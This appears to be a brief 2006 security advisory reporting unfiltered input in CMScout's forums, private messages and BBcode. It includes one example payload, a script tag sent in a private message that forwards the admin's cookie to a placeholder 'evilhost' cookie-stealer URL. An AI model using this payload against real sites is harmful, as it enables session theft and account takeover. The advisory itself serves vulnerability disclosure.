Cmscout <= V1.10 multiple XSS attack vectors
Discovered by: Nomenumbra
Date: 5/2/2006
impact:moderate (privilege escalation,possible defacement)
CMScout is a CMS (Content management system) for scouting related groups from
around the world.
A CMS is a piece of web software that makes it easy for you to install, and
manage a website.
CMScout includes all the features of other major CMS's that are available (Like
PHP-Nuke, Mambo, e107, etc.).
Added news items and events are properly filtered for potential XSS input,
input in the forums and PM's however, is not.
For example, when one would send a pm to the admin like this:
Subject: whatever
Body:
<script>window.navigate('http://www.evilhost.com/cookiestealer.php?c='+document.cookie)</script>
we could obtain the admin's cookie. The inside of BBcode isn't filtered either.
This goes for the forums too.
Nomenumbra/[0x4F4C]
